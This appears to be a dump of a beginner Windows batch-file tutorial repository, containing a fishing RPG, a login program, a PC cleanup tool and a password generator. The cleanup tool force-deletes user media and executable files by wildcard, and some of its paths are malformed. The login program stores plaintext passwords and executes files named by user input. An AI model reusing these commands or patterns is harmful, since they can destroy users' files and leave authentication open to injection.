Purchased. With this boat you 258 | echo can catch %flounderrate% flounder at one time. 259 | pause >nul 260 | goto boatstore 261 | 262 | :boat6 263 | if %money% leq 999999 ( 264 | echo. 265 | echo. 266 | echo You don't have enough Gold. 267 | pause >nul 268 | goto boatstore 269 | ) 270 | set /a money=%money% - 1000000 271 | set /a boat6=%boat6%+1 272 | if %crabrate% neq 1 ( 273 | set /a crabrate=%crabrate%+60 274 | ) else ( 275 | set /a crabrate=%crabrate%+59 276 | ) 277 | echo. 278 | echo. 279 | echo Boat Purchased. With this boat you can 280 | echo catch %crabrate% crab at one time. 281 | pause >nul 282 | goto boatstore 283 | 284 | :boat7 285 | if %money% leq 2999999 ( 286 | echo. 287 | echo. 288 | echo You don't have enough Gold. 289 | pause >nul 290 | goto boatstore 291 | ) 292 | set /a money=%money% - 3000000 293 | set /a boat7=%boat7%+1 294 | if %sharkrate% neq 1 ( 295 | set /a sharkrate=%sharkrate%+25 296 | ) else ( 297 | set /a sharkrate=%sharkrate%+24 298 | ) 299 | echo. 300 | echo. 301 | echo Boat Purchased. With this boat you 302 | echo can catch %sharkrate% shark at one time. 303 | pause >nul 304 | goto boatstore 305 | 306 | :boat8 307 | if %money% leq 14999999 ( 308 | echo. 309 | echo. 310 | echo You don't have enough Gold. 311 | pause >nul 312 | goto boatstore 313 | ) 314 | set /a money=%money% - 15000000 315 | set /a boat8=%boat8%+1 316 | if %sharkrate% neq 1 ( 317 | set /a sharkrate=%sharkrate%+150 318 | ) else ( 319 | set /a sharkrate=%sharkrate%+149 320 | ) 321 | echo. 322 | echo. 323 | echo Boat Purchased. With this boat you can 324 | echo catch %sharkrate% shark at one time. 325 | pause >nul 326 | goto boatstore 327 | 328 | 329 | :store 330 | cls 331 | echo Fishing RPG Store 332 | echo. 333 | echo You currently have %money% Gold. 334 | echo You currently have %shrimp% Shrimp. 335 | echo You currently have %crab% Crabs. 336 | echo You currently have %trout% Trout. 337 | echo You currently have %salmon% Salmon. 338 | echo You currently have %flounder% Flounder. 339 | echo You currently have %shark% Sharks. 340 | echo. 341 | echo. 342 | echo. 343 | echo 1) Shrimp Net: costs 100 Gold. 344 | echo 2) Crab Cage: costs 1,500 Gold. 345 | echo 3) Harpoon: costs 5,000 Gold. 346 | echo 4) Fishing Rod: costs 600 Gold. 347 | echo 5) Fly Fishing Rod: costs 1,000 Gold. 348 | echo 6) Leave Store. 349 | set /p x2= 350 | if %x2% == 1 goto buynet 351 | if %x2% == 2 goto buycage 352 | if %x2% == 3 goto buyharp 353 | if %x2% == 4 goto buyrod 354 | if %x2% == 5 goto buyfly 355 | if %x2% == 6 goto menu 356 | 357 | :buyrod 358 | if %rod% == 1 ( 359 | echo. 360 | echo. 361 | echo You already have a rod. 362 | pause >nul 363 | goto store 364 | ) 365 | if %money% leq 599 ( 366 | echo. 367 | echo. 368 | echo You don't have enough Gold. 369 | pause >nul 370 | goto store 371 | ) 372 | set /a money=%money% - 600 373 | set rod=1 374 | echo. 375 | echo. 376 | echo Rod purchased. 377 | pause >nul 378 | goto store 379 | 380 | :buyfly 381 | if %flyrod% == 1 ( 382 | echo. 383 | echo. 384 | echo You already have a fly fishing rod. 385 | pause >nul 386 | goto store 387 | ) 388 | if %money% leq 999 ( 389 | echo. 390 | echo. 391 | echo You don't have enough Gold. 392 | pause >nul 393 | goto store 394 | ) 395 | set /a money=%money% - 1000 396 | set flyrod=1 397 | echo. 398 | echo. 399 | echo Fly Fishing Rod purchased. 400 | pause >nul 401 | goto store 402 | 403 | :buyharp 404 | if %harpoon% == 1 ( 405 | echo. 406 | echo. 407 | echo You already have a harpoon. 408 | pause >nul 409 | goto store 410 | ) 411 | if %money% leq 4999 ( 412 | echo. 413 | echo. 414 | echo You don't have enough Gold. 415 | pause >nul 416 | goto store 417 | ) 418 | set /a money=%money% - 5000 419 | set harpoon=1 420 | echo. 421 | echo. 422 | echo Harpoon purchased. 423 | pause >nul 424 | goto store 425 | 426 | :buynet 427 | if %net% == 1 ( 428 | echo. 429 | echo. 430 | echo You already have a net. 431 | pause >nul 432 | goto store 433 | ) 434 | if %money% leq 99 ( 435 | echo. 436 | echo. 437 | echo You don't have enough Gold. 438 | pause >nul 439 | goto store 440 | ) 441 | set /a money=%money% - 100 442 | set net=1 443 | echo. 444 | echo. 445 | echo Net purchased. 446 | pause >nul 447 | goto store 448 | 449 | :buycage 450 | if %cage% == 1 ( 451 | echo. 452 | echo. 453 | echo You already have a cage. 454 | pause >nul 455 | goto store 456 | ) 457 | if %money% leq 1499 ( 458 | echo. 459 | echo. 460 | echo You don't have enough Gold. 461 | pause >nul 462 | goto store 463 | ) 464 | set /a money=%money% - 1500 465 | set cage=1 466 | echo. 467 | echo. 468 | echo Cage purchased. 469 | pause >nul 470 | goto store 471 | 472 | 473 | 474 | :fishingloop 475 | for /l %%q in (1,1,6) do set catchingf%%q=true 476 | if %net% equ 0 set catchingf1=0 477 | if %cage% equ 0 set catchingf2=0 478 | if %harpoon% equ 0 set catchingf6=0 479 | if %rod% equ 0 set catchingf5=0 480 | if %flyrod% equ 0 ( 481 | set catchingf4=0 482 | set catchingf3=0 483 | ) 484 | if %catchingf1%+%catchingf2%+%catchingf3%+%catchingf4%+%catchingf5%+%catchingf6% equ 0+0+0+0+0+0 goto menu 485 | set fishyy1=shrimp 486 | set fishyy2=crab 487 | set fishyy3=trout 488 | set fishyy4=salmon 489 | set fishyy5=flounder 490 | set fishyy6=shark 491 | set fvfv4=0 492 | :loopfishs 493 | set /a fvfv4+=1 494 | call :fishing_display 495 | if "%catchingf1%" equ "true" set /a shrimp=%shrimp%+!shrimprate! 496 | if "%catchingf2%" equ "true" set /a crab=%crab%+!crabrate! 497 | if "%catchingf3%" equ "true" set /a trout=%trout%+!troutrate! 498 | if "%catchingf4%" equ "true" set /a salmon=%salmon%+!salmonrate! 499 | if "%catchingf5%" equ "true" set /a flounder=%flounder%+!flounderrate! 500 | if "%catchingf6%" equ "true" set /a shark=%shark%+!sharkrate! 501 | if %fvfv4% equ 100 ( 502 | call :fishing_display 503 | pause >nul 504 | goto menu 505 | ) 506 | goto loopfishs 507 | 508 | :fishing_display 509 | cls 510 | echo . . . Fishing . . . 511 | echo. 512 | echo Shrimp:%shrimp% 513 | echo Crab:%crab% 514 | echo Trout:%trout% 515 | echo Salmon:%salmon% 516 | echo Flounder:%flounder% 517 | echo Shark:%shark% 518 | goto :eof 519 | 520 | 521 | 522 | 523 | :gamble1 524 | cls 525 | call :gamble1display 526 | if %money% equ 0 ( 527 | echo You lost all you Gold. 528 | pause >nul 529 | goto menu 530 | ) 531 | goto bet1 532 | 533 | :bet1 534 | call :gamble1display 535 | echo How much gold do you wager? (enter "leave" to go back) 536 | set /p gamb=">> " 537 | if %gamb% equ leave goto menu 538 | if not %gamb% leq %money% ( 539 | echo Invalid... 540 | pause >nul 541 | goto gamble1 542 | ) 543 | set r1=%random% 544 | set r2=%r1% 545 | set /a r1= %r1% / 2 546 | set /a r1= %r1% * 2 547 | if %r1%==%r2% ( 548 | set /a money=%money%-%gamb% 549 | call :gamble1display 550 | echo. 551 | echo. 552 | echo You lost %gamb% gold. 553 | echo. 554 | pause 555 | goto gamble1 556 | ) else ( 557 | set /a money=%money%+%gamb% 558 | call :gamble1display 559 | echo. 560 | echo. 561 | echo You won %gamb% gold. 562 | echo. 563 | pause 564 | goto gamble1 565 | ) 566 | 567 | :gamble1display 568 | cls 569 | echo Gold Left:%money% 570 | goto :eof 571 | 572 | 573 | :market1 574 | cls 575 | echo Welcome to the Fish Market. 576 | set counter1=1 577 | set pfish1=%pcrab% 578 | set pfish2=%pshrimp% 579 | set pfish3=%ptrout% 580 | set pfish4=%pflounder% 581 | set pfish5=%pshark% 582 | set pfish6=%psalmon% 583 | set r1=%random% 584 | set r2=%r1% 585 | set /a r1= %r1% / 2 586 | set /a r1= %r1% * 2 587 | if %r1%==%r2% ( 588 | set changep=nochange 589 | ) else ( 590 | set changep=change 591 | ) 592 | if %changep% equ nochange ( 593 | call :market1display 594 | goto buyfish 595 | ) 596 | if %changep% equ change ( 597 | goto changeps 598 | ) 599 | goto menu 600 | 601 | :market1display 602 | echo. 603 | echo Gold:%money% 604 | echo. 605 | echo Price of crab: %pcrab% 606 | echo Price of shrimp: %pshrimp% 607 | echo Price of trout: %ptrout% 608 | echo Price of flounder: %pflounder% 609 | echo Price of shark: %pshark% 610 | echo Price of salmon: %psalmon% 611 | echo. 612 | goto :eof 613 | 614 | :changeps 615 | set r1=%random% 616 | set r2=%r1% 617 | set /a r1= %r1% / 2 618 | set /a r1= %r1% * 2 619 | if %r1%==%r2% ( 620 | set /a pfish%counter1%=!pfish%counter1%!+1 621 | ) else ( 622 | set /a pfish%counter1%=!pfish%counter1%!-1 623 | ) 624 | if !pfish%counter1%! leq 0 ( 625 | set /a pfish%counter1%=!pfish%counter1%!+1 626 | ) 627 | set /a counter1=%counter1%+1 628 | if not %counter1% geq 7 ( 629 | goto changeps 630 | ) 631 | set pcrab=%pfish1% 632 | set pshrimp=%pfish2% 633 | set ptrout=%pfish3% 634 | set pflounder=%pfish4% 635 | set pshark=%pfish5% 636 | set psalmon=%pfish6% 637 | call :market1display 638 | goto buyfish 639 | 640 | :buyfish 641 | echo 1)Buy Fish 642 | echo 2)Sell Fish 643 | echo 3)Leave 644 | set /p aw1=">> " 645 | if not %aw1% leq 3 goto market1 646 | if %aw1% equ 3 goto menu 647 | if %aw1% equ 2 goto sellfishz 648 | echo What type of fish do you wish to buy? (no plural, example: shark) 649 | set /p fc4= 650 | if %fc4% equ crab goto buyfishz 651 | if %fc4% equ shrimp goto buyfishz 652 | if %fc4% equ trout goto buyfishz 653 | if %fc4% equ flounder goto buyfishz 654 | if %fc4% equ shark goto buyfishz 655 | if %fc4% equ salmon goto buyfishz 656 | goto market1 657 | 658 | :buyfishz 659 | echo How many %fc4% do you wish to buy? 660 | set /a maxf=%money%/!p%fc4%! 661 | set /a pprice=%maxf%*!p%fc4%! 662 | echo You can buy up to %maxf% %fc4%. (cost %pprice%) 663 | set /p x1w=">> " 664 | set /a price=!p%fc4%!*%x1w% 665 | if %price% gtr %money% ( 666 | echo You don't have enough gold. 667 | pause >nul 668 | goto market1 669 | ) 670 | set /a %fc4%=!%fc4%! + %x1w% 671 | set /a money=%money% - %price% 672 | echo You bought %x1w% %fc4% for %price% gold. 673 | pause >nul 674 | goto market1 675 | 676 | :sellfishz 677 | echo What type of fish do you wish to sell? 678 | set /p fc4= 679 | if %fc4% equ crab goto sellfish 680 | if %fc4% equ shrimp goto sellfish 681 | if %fc4% equ trout goto sellfish 682 | if %fc4% equ flounder goto sellfish 683 | if %fc4% equ shark goto sellfish 684 | if %fc4% equ salmon goto sellfish 685 | goto market1 686 | 687 | :sellfish 688 | echo How many %fc4% do you wish to sell? 689 | set /a gg2=!%fc4%!*!p%fc4%! 690 | echo You have !%fc4%! %fc4%. (worth %gg2% gold.) 691 | set /p x1w=">> " 692 | if !%fc4%! lss %x1w% ( 693 | echo You don't have that much... 694 | pause >nul 695 | goto market1 696 | ) 697 | set /a price=!p%fc4%!*%x1w% 698 | set /a money=%price% + %money% 699 | set /a %fc4%=!%fc4%!-%x1w% 700 | echo Sold %x1w% %fc4% for %price% gold. 701 | pause >nul 702 | goto market1 703 | 704 | 705 | :savegame1 706 | ( 707 | echo set username1=%username1% 708 | echo set password1=%password1% 709 | echo set money=%money% 710 | echo set crab=%crab% 711 | echo set shrimp=%shrimp% 712 | echo set trout=%trout% 713 | echo set flounder=%flounder% 714 | echo set shark=%shark% 715 | echo set salmon=%salmon% 716 | echo set net=%net% 717 | echo set cage=%cage% 718 | echo set harpoon=%harpoon% 719 | echo set rod=%rod% 720 | echo set flyrod=%flyrod% 721 | echo set boat1=%boat1% 722 | echo set boat2=%boat2% 723 | echo set boat3=%boat3% 724 | echo set boat4=%boat4% 725 | echo set boat5=%boat5% 726 | echo set boat6=%boat6% 727 | echo set boat7=%boat7% 728 | echo set boat8=%boat8% 729 | echo set shrimprate=%shrimprate% 730 | echo set crabrate=%crabrate% 731 | echo set troutrate=%troutrate% 732 | echo set flounderrate=%flounderrate% 733 | echo set sharkrate=%sharkrate% 734 | echo set salmonrate=%salmonrate% 735 | echo set axxx=%axxx% 736 | echo set pcrab=%pcrab% 737 | echo set pshrimp=%pshrimp% 738 | echo set ptrout=%ptrout% 739 | echo set pflounder=%pflounder% 740 | echo set pshark=%pshark% 741 | echo set psalmon=%psalmon% 742 | echo set moa=%moa% 743 | echo set gwshark=%gwshark% 744 | echo set squid=%squid% 745 | echo set gsquid=%gsquid% 746 | )>%username1%.bat 747 | echo Game Saved . . . 748 | echo. 749 | pause 750 | goto menu 751 | 752 | 753 | :checkitems 754 | cls 755 | set networth=0 756 | set f1w=%shrimp%*%pshrimp% 757 | set f2w=%shark%*%pshark% 758 | set f3w=%crab%*%pcrab% 759 | set f4w=%salmon%*%psalmon% 760 | set f5w=%trout%*%ptrout% 761 | set f6w=%flounder%*%pflounder% 762 | set b1w=%boat1%*2000 763 | set b2w=%boat2%*20000 764 | set b3w=%boat3%*60000 765 | set b4w=%boat4%*150000 766 | set b5w=%boat5%*500000 767 | set b6w=%boat6%*1000000 768 | set b7w=%boat7%*3000000 769 | set b8w=%boat8%*15000000 770 | set /a networth=%money%+%f1w%+%f2w%+%f3w%+%f4w%+%f5w%+%f6w%+%b1w%+%b2w%+%b3w%+%b4w%+%b5w%+%b6w%+%b7w%+%b8w% 771 | echo Disclaimer, does not include anything 772 | echo purchased in the rich store. 773 | echo. 774 | echo Gold:%money% 775 | echo. 776 | echo Shrimp:%shrimp% 777 | echo Crab:%crab% 778 | echo Trout:%trout% 779 | echo Salmon:%salmon% 780 | echo Flounder:%flounder% 781 | echo Shark:%shark% 782 | echo. 783 | echo Shrimp'n boat: %boat1% 784 | echo Small boat: %boat2% 785 | echo Large boat: %boat3% 786 | echo Rich boat: %boat4% 787 | echo Pro boat: %boat5% 788 | echo Dream boat: %boat6% 789 | echo Elegant boat: %boat7% 790 | echo Titanic: %boat8% 791 | echo. 792 | echo Net worth:%networth% Gold. 793 | pause >nul 794 | goto menu 795 | 796 | 797 | :richstore 798 | if %boat8% equ 0 ( 799 | echo. 800 | echo Sorry, but you need atleast 1 titanic to enter . . . 801 | echo. 802 | pause 803 | goto menu 804 | ) 805 | cls 806 | echo ---Rich Store--- 807 | echo. 808 | echo Gold: %money% 809 | echo Squid: %squid% 810 | echo Giant Squid: %gsquid% 811 | echo Great White Shark: %gwshark% 812 | echo Medal of Achievement:%moa% 813 | echo. 814 | echo 1) Price of squid: 50,000,000 Gold or 5,000,000 Salmon. 815 | echo 2) Price of Giant squid: 350,000,000 Gold or 8 squid. 816 | echo 3) Price Of Great White Shark: 900,000,000 Gold 817 | echo 4 Giant squid 818 | echo. 819 | echo 4) Price of Medal: 5 Great White Sharks 820 | echo. 10 Giant squid 821 | echo. 10,000,000 Flounder 822 | echo. All your boats... 823 | echo. 824 | set /p rxx=">> " 825 | if not %rxx% geq 1 goto menu 826 | if not %rxx% leq 4 goto menu 827 | if %rxx% equ 1 goto buysq 828 | if %rxx% equ 2 goto buygsq 829 | if %rxx% equ 3 goto buygws 830 | if %rxx% equ 4 goto buymedal 831 | goto menu 832 | 833 | :buysq 834 | echo. 835 | echo 1) pay with gold 836 | echo 2) pay with salmon 837 | set /p sqb=">> " 838 | if %sqb% equ 1 goto bbuysq 839 | if %sqb% equ 2 goto bbbuysq 840 | goto richstore 841 | 842 | :bbuysq 843 | if %money% lss 50000000 ( 844 | echo You don't have enough gold.. 845 | pause >nul 846 | goto richstore 847 | ) 848 | set /a money=%money%-50000000 849 | set /a squid+=1 850 | goto richstore 851 | 852 | :bbbuysq 853 | if %salmon% lss 5000000 ( 854 | echo You don't have enough salmon. 855 | pause >nul 856 | goto richstore 857 | ) 858 | set /a salmon=%salmon%-5000000 859 | set /a squid+=1 860 | goto richstore 861 | 862 | :buygsq 863 | echo. 864 | echo 1) pay with gold 865 | echo 2) pay with squid 866 | set /p sqb=">> " 867 | if %sqb% equ 1 goto bbuygsq 868 | if %sqb% equ 2 goto bbbuygsq 869 | goto richstore 870 | 871 | :bbuygsq 872 | if %money% lss 350000000 ( 873 | echo You don't have enough gold.. 874 | pause >nul 875 | goto richstore 876 | ) 877 | set /a money=%money%-350000000 878 | set /a gsquid+=1 879 | goto richstore 880 | 881 | :bbbuygsq 882 | if %squid% lss 8 ( 883 | echo You don't have enough squid. 884 | pause >nul 885 | goto richstore 886 | ) 887 | set /a squid=%squid%-8 888 | set /a gsquid+=1 889 | goto richstore 890 | 891 | :buygws 892 | if %money% lss 900000000 ( 893 | echo You don't have enough gold.. 894 | pause >nul 895 | goto richstore 896 | ) 897 | if %gsquid% lss 4 ( 898 | echo You don't have enough giant squid.. 899 | pause >nul 900 | goto richstore 901 | ) 902 | set /a money=%money%-900000000 903 | set /a gsquid=%gsquid%-4 904 | set /a gwshark+=1 905 | goto richstore 906 | 907 | :buymedal 908 | if %gwshark% lss 5 ( 909 | echo You cannot afford this yet.. 910 | pause >nul 911 | goto richstore 912 | ) 913 | if %gsquid% lss 10 ( 914 | echo You cannot afford this yet.. 915 | pause >nul 916 | goto richstore 917 | ) 918 | if %flounder% lss 10000000 ( 919 | echo You cannot afford this yet.. 920 | pause >nul 921 | goto richstore 922 | ) 923 | set /a gwshark=%gwshark%-5 924 | set /a gsquid=%gsquid%-10 925 | set /a flounder=%flounder%-10000000 926 | set /a moa+=1 927 | set boat1=0 928 | set boat2=0 929 | set boat3=0 930 | set boat4=0 931 | set boat5=0 932 | set boat6=0 933 | set boat7=0 934 | set boat8=0 935 | goto richstore 936 | -------------------------------------------------------------------------------- /Batch Login Program/README.md: -------------------------------------------------------------------------------- 1 | Project: 2 | - This is the code from the Synthetic Programming video "How to Program: A Batch File Login Program" 3 | - Video: https://www.youtube.com/watch?v=uqCSPLWjp4M 4 | 5 | Includes: 6 | - run.bat (Runs the program) 7 | - example.bat (an example account where username is "example" and password is "1234") 8 | 9 | Note: 10 | - This program requires Windows OS 11 | 12 | Version: 13 | - Windows OS (any version) 14 | -------------------------------------------------------------------------------- /Batch Login Program/example.bat: -------------------------------------------------------------------------------- 1 | set username1=example 2 | set password1=1234 3 | -------------------------------------------------------------------------------- /Batch Login Program/run.bat: -------------------------------------------------------------------------------- 1 | @echo off 2 | mode con cols=65 lines=32 3 | setlocal enabledelayedexpansion 4 | color 0a 5 | title Login Program 6 | 7 | :start1 8 | cls 9 | echo Input a number and press enter... 10 | echo. 11 | echo 1) Login 12 | echo 2) Create New Account 13 | set /p loginx1=">> " 14 | if not %loginx1% leq 2 goto start1 15 | if %loginx1% equ 1 goto login 16 | echo What do you want your username to be? 17 | set /p username1=">>> " 18 | set v1f=0 19 | 20 | :findspaces 21 | set x=!v1f! 22 | set Letter%v1f%=!username1:~%x%,1! 23 | if "!Letter%v1f%!" equ " " ( 24 | echo. 25 | echo. 26 | echo Sorry, no spaces allowed in your username... 27 | pause >nul 28 | goto start1 29 | ) 30 | if NOT "!Letter%v1f%!" equ "" ( 31 | set /a v1f=%v1f%+1 32 | goto findspaces 33 | ) 34 | echo What do you want your password to be? 35 | set /p password1=">>> " 36 | goto save 37 | 38 | :login 39 | cls 40 | set /p name1=Username: 41 | if not exist "%name1%.bat" ( 42 | echo Invalid Username... 43 | pause >nul 44 | goto start1 45 | ) 46 | set /p pass1=Password: 47 | call %name1%.bat 48 | if not %password1% equ %pass1% ( 49 | echo Invalid Password 50 | pause >nul 51 | goto start1 52 | ) 53 | goto menu 54 | 55 | :save 56 | ( 57 | echo set username1=%username1% 58 | echo set password1=%password1% 59 | )>%username1%.bat 60 | goto start1 61 | 62 | :menu 63 | echo Logged in! 64 | pause >nul -------------------------------------------------------------------------------- /Batch PC Cleanup Tool/README.md: -------------------------------------------------------------------------------- 1 | Project: 2 | - This is the code from the Synthetic Programming video "How to Program: A Computer Cleanup Tool in Batch" 3 | - Video: https://www.youtube.com/watch?v=3SxYXgxg48E 4 | 5 | Includes: 6 | - SPPCC.bat (the Synthetic Programming PC Cleanup Tool) 7 | 8 | Note: 9 | - This program requires Windows OS 10 | 11 | Version: 12 | - Windows OS (any version) 13 | -------------------------------------------------------------------------------- /Batch PC Cleanup Tool/SPPCC.bat: -------------------------------------------------------------------------------- 1 | @echo off 2 | title Synthetic Programming PC Cleanup 3 | color 0a 4 | 5 | :menu 6 | cls 7 | echo -------------------------------------------------------------------------------- 8 | echo Synthetic Programming PC Cleanup Tool 9 | echo -------------------------------------------------------------------------------- 10 | echo. 11 | echo Select an Option: 12 | echo ================= 13 | echo. 14 | echo [1] Delete Internet Cookies 15 | echo [2] Delete Temporary Internet Files 16 | echo [3] Disk Cleanup 17 | echo [4] Disk Defragment 18 | echo [5] Exit 19 | echo. 20 | set /p op=">>> " 21 | if %op%==1 goto 1 22 | if %op%==2 goto 2 23 | if %op%==3 goto 3 24 | if %op%==4 goto 4 25 | if %op%==5 goto exit 26 | goto error 27 | 28 | :1 29 | cls 30 | echo -------------------------------------------------------------------------------- 31 | echo Delete Internet Cookies 32 | echo -------------------------------------------------------------------------------- 33 | echo. 34 | echo Deleting Cookies... 35 | ping localhost -n 3 >nul 36 | del /f /q "%userprofile%\Cookies\*.*" 37 | cls 38 | echo -------------------------------------------------------------------------------- 39 | echo Delete Internet Cookies 40 | echo -------------------------------------------------------------------------------- 41 | echo. 42 | echo Cookies were successfully deleted. 43 | echo. 44 | echo Press any key to return to the menu. . . 45 | pause >nul 46 | goto menu 47 | 48 | :2 49 | cls 50 | echo -------------------------------------------------------------------------------- 51 | echo Delete Temporary Internet Files 52 | echo -------------------------------------------------------------------------------- 53 | echo. 54 | echo Deleting Temporary Files... 55 | ping localhost -n 3 >nul 56 | del /f /q "%userprofile%\AppData\Local\Microsoft\Windows\Temporary Internet Files\*.*" 57 | cls 58 | echo -------------------------------------------------------------------------------- 59 | echo Delete Temporary Internet Files 60 | echo -------------------------------------------------------------------------------- 61 | echo. 62 | echo Temporary Internet Files were successfully deleted. 63 | echo. 64 | echo Press any key to return to the menu. . . 65 | pause >nul 66 | goto menu 67 | 68 | :3 69 | cls 70 | echo -------------------------------------------------------------------------------- 71 | echo Disk Cleanup 72 | echo -------------------------------------------------------------------------------- 73 | echo. 74 | echo Running Disk Cleanup... 75 | ping localhost -n 3 >nul 76 | if exist "C:\WINDOWS\temp"del /f /q "C:WINDOWS\temp\*.*" 77 | if exist "C:\WINDOWS\tmp" del /f /q "C:\WINDOWS\tmp\*.*" 78 | if exist "C:\tmp" del /f /q "C:\tmp\*.*" 79 | if exist "C:\temp" del /f /q "C:\temp\*.*" 80 | if exist "%temp%" del /f /q "%temp%\*.*" 81 | if exist "%tmp%" del /f /q "%tmp%\*.*" 82 | if not exist "C:\WINDOWS\Users\*.*" goto skip 83 | if exist "C:\WINDOWS\Users\*.zip" del "C:\WINDOWS\Users\*.zip" /f /q 84 | if exist "C:\WINDOWS\Users\*.exe" del "C:\WINDOWS\Users\*.exe" /f /q 85 | if exist "C:\WINDOWS\Users\*.gif" del "C:\WINDOWS\Users\*.gif" /f /q 86 | if exist "C:\WINDOWS\Users\*.jpg" del "C:\WINDOWS\Users\*.jpg" /f /q 87 | if exist "C:\WINDOWS\Users\*.png" del "C:\WINDOWS\Users\*.png" /f /q 88 | if exist "C:\WINDOWS\Users\*.bmp" del "C:\WINDOWS\Users\*.bmp" /f /q 89 | if exist "C:\WINDOWS\Users\*.avi" del "C:\WINDOWS\Users\*.avi" /f /q 90 | if exist "C:\WINDOWS\Users\*.mpg" del "C:\WINDOWS\Users\*.mpg" /f /q 91 | if exist "C:\WINDOWS\Users\*.mpeg" del "C:\WINDOWS\Users\*.mpeg" /f /q 92 | if exist "C:\WINDOWS\Users\*.ra" del "C:\WINDOWS\Users\*.ra" /f /q 93 | if exist "C:\WINDOWS\Users\*.ram" del "C:\WINDOWS\Users\*.ram"/f /q 94 | if exist "C:\WINDOWS\Users\*.mp3" del "C:\WINDOWS\Users\*.mp3" /f /q 95 | if exist "C:\WINDOWS\Users\*.mov" del "C:\WINDOWS\Users\*.mov" /f /q 96 | if exist "C:\WINDOWS\Users\*.qt" del "C:\WINDOWS\Users\*.qt" /f /q 97 | if exist "C:\WINDOWS\Users\*.asf" del "C:\WINDOWS\Users\*.asf" /f /q 98 | 99 | :skip 100 | if not exist C:\WINDOWS\Users\Users\*.* goto skippy /f /q 101 | if exist C:\WINDOWS\Users\AppData\Temp\*.zip del C:\WINDOWS\Users\Users\*.zip /f /q 102 | if exist C:\WINDOWS\Users\AppData\Temp\*.exe del C:\WINDOWS\Users\Users\*.exe /f /q 103 | if exist C:\WINDOWS\Users\AppData\Temp\*.gif del C:\WINDOWS\Users\Users\*.gif /f /q 104 | if exist C:\WINDOWS\Users\AppData\Temp\*.jpg del C:\WINDOWS\Users\Users\*.jpg /f /q 105 | if exist C:\WINDOWS\Users\AppData\Temp\*.png del C:\WINDOWS\Users\Users\*.png /f /q 106 | if exist C:\WINDOWS\Users\AppData\Temp\*.bmp del C:\WINDOWS\Users\Users\*.bmp /f /q 107 | if exist C:\WINDOWS\Users\AppData\Temp\*.avi del C:\WINDOWS\Users\Users\*.avi /f /q 108 | if exist C:\WINDOWS\Users\AppData\Temp\*.mpg del C:\WINDOWS\Users\Users\*.mpg /f /q 109 | if exist C:\WINDOWS\Users\AppData\Temp\*.mpeg del C:\WINDOWS\Users\Users\*.mpeg /f /q 110 | if exist C:\WINDOWS\Users\AppData\Temp\*.ra del C:\WINDOWS\Users\Users\*.ra /f /q 111 | if exist C:\WINDOWS\Users\AppData\Temp\*.ram del C:\WINDOWS\Users\Users\*.ram /f /q 112 | if exist C:\WINDOWS\Users\AppData\Temp\*.mp3 del C:\WINDOWS\Users\Users\*.mp3 /f /q 113 | if exist C:\WINDOWS\Users\AppData\Temp\*.asf del C:\WINDOWS\Users\Users\*.asf /f /q 114 | if exist C:\WINDOWS\Users\AppData\Temp\*.qt del C:\WINDOWS\Users\Users\*.qt /f /q 115 | if exist C:\WINDOWS\Users\AppData\Temp\*.mov del C:\WINDOWS\Users\Users\*.mov /f /q 116 | 117 | :skippy 118 | if exist "C:\WINDOWS\ff*.tmp" del C:\WINDOWS\ff*.tmp /f /q 119 | if exist C:\WINDOWS\ShellIconCache del /f /q "C:\WINDOWS\ShellI~1\*.*" 120 | cls 121 | echo -------------------------------------------------------------------------------- 122 | echo Disk Cleanup 123 | echo -------------------------------------------------------------------------------- 124 | echo. 125 | echo Disk Cleanup completed successfully! 126 | echo. 127 | pause 128 | goto menu 129 | 130 | :4 131 | cls 132 | echo -------------------------------------------------------------------------------- 133 | echo Disk Defragment 134 | echo -------------------------------------------------------------------------------- 135 | echo. 136 | echo Defragmenting hard disks... 137 | ping localhost -n 3 >nul 138 | defrag -c -v 139 | cls 140 | echo -------------------------------------------------------------------------------- 141 | echo Disk Defragment 142 | echo -------------------------------------------------------------------------------- 143 | echo. 144 | echo Disk Defragmentation completed successfully! 145 | echo. 146 | pause 147 | goto menu 148 | 149 | :error 150 | cls 151 | echo Command not recognized. 152 | ping localhost -n 4 >nul 153 | goto menu 154 | :exit 155 | 156 | 157 | echo Thanks for using Synthetic Programming PC Cleanup 158 | ping 127.0.0.1 >nul 159 | exit -------------------------------------------------------------------------------- /Batch Password Generator/PasswordGen.bat: -------------------------------------------------------------------------------- 1 | @echo off 2 | color 0a 3 | title Password Generator 4 | 5 | :Start 6 | cls 7 | echo. 8 | echo =================================== 9 | echo Please write the password down 10 | echo =================================== 11 | echo [1] Random Password 12 | echo. 13 | set /p input= Enter 1 to generate password: 14 | if %input%==1 goto A if not goto Start 15 | 16 | :A 17 | cls 18 | Setlocal EnableDelayedExpansion 19 | set _RNDLength=12 20 | set _Alphanumeric=ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789 21 | set _Str=%_Alphanumeric%987654321 22 | 23 | :_LenLoop 24 | if not "%_Str:~18%"=="" set _Str=%_Str:~9%& set /A _Len+=9& goto :_LenLoop 25 | set _tmp=%_Str:~9,1% 26 | set /A _Len=_Len+_tmp 27 | set _count=0 28 | set _RndAlphaNum= 29 | 30 | :_loop 31 | set /a _count+=1 32 | set _RND=%Random% 33 | set /A _RND=_RND%%%_Len% 34 | set _RndAlphaNum=!_RndAlphaNum!!_Alphanumeric:~%_RND%,1! 35 | if !_count! lss %_RNDLength% goto _loop 36 | echo. 37 | echo =================================== 38 | echo Password is: !_RndAlphaNum! 39 | echo Make sure to write it down 40 | echo =================================== 41 | echo. 42 | pause 43 | exit 44 | -------------------------------------------------------------------------------- /Batch Password Generator/README.md: -------------------------------------------------------------------------------- 1 | Project: 2 | - This is the code from the Synthetic Programming video "How to Program: A Strong Password Generator in Batch" 3 | - Video: https://www.youtube.com/watch?v=-JYWnqKKwiI 4 | 5 | Includes: 6 | - PasswordGen.bat (Runs the program) 7 | 8 | Note: 9 | - This program requires Windows OS 10 | 11 | Version: 12 | - Windows OS (any version) 13 | -------------------------------------------------------------------------------- /CODE_OF_CONDUCT.md: -------------------------------------------------------------------------------- 1 | # Code of Conduct 2 | 3 | ## 1. Purpose 4 | 5 | A primary goal of Synthetic Programming is to be inclusive to the largest number of contributors, with the most varied and diverse backgrounds possible. As such, we are committed to providing a friendly, safe and welcoming environment for all, regardless of gender, sexual orientation, ability, ethnicity, socioeconomic status, and religion (or lack thereof). 6 | 7 | This code of conduct outlines our expectations for all those who participate in our community, as well as the consequences for unacceptable behavior. 8 | 9 | We invite all those who participate in Synthetic Programming to help us create safe and positive experiences for everyone. 10 | 11 | ## 2. Open Source Citizenship 12 | 13 | A supplemental goal of this Code of Conduct is to increase open source citizenship by 